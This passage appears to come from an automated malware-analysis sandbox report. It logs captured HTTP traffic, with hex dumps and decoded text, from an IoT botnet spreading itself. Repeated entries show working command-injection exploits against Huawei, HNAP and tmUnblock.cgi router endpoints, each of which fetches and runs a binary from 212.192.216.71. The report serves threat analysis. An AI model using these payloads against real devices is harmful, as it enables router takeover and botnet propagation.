74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
